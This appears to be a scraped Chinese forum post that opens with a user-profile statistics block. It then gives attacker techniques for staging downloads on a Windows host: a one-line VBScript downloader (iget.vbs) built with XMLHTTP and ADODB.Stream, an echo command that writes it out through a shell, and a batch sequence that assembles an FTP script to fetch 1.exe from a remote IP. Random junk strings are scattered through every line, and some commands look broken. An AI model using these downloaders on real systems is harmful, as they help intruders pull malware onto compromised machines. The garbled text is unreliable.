- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: 4 I/ s; N9 Q! _* Y% o* N
1.iget.vbs一次写入 5 T/ m b$ B% n4 G: W
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
9 C; v# T5 y9 g; A; @. g# {
# w: N. V& g. h KSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
4 _- G) ?4 Q8 V* ?; K6 e. o1 R
# I& m! j& j w1 l* L2 @% R这样我们可以一次echo成功,echo版本:
6 J1 p2 N \ _- }9 R
5 v8 D/ m1 ], Y/ I' C8 Q% oecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs / j+ n2 K$ O# N1 i/ u
3 ^/ ]# e( J5 B7 [" S5 a v* H6 u+ ~, P3 l- R$ }
2.bat调用ftp脚本的写法(by envymask) 7 q! X! S% ^. K8 [+ \( a
# P2 C; f: `7 X8 M
echo ftp>1.vbs ) ?6 |9 n/ R& o8 z
echo open ip>2.vbs
) F3 N) U# @) R3 m' R, G5 gecho u>3.vbs
* Y: {( \' g. f8 J- wecho s>4.vbs 2 R" n' f2 w) M( R1 K( h. F4 A2 b, ]
echo binary>5.vbs ( `5 S, m: L1 z2 C2 P0 b p: n! L
echo get 1.exe>6.vbs " I1 g8 D! ~9 I+ a) z1 }1 g
echo bay>7.vbs 8 G' I) P- p! F' H, j; O
* [' |/ E$ t2 W7 t
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs - p1 v8 Z& _$ {5 E
</P> |
zan
|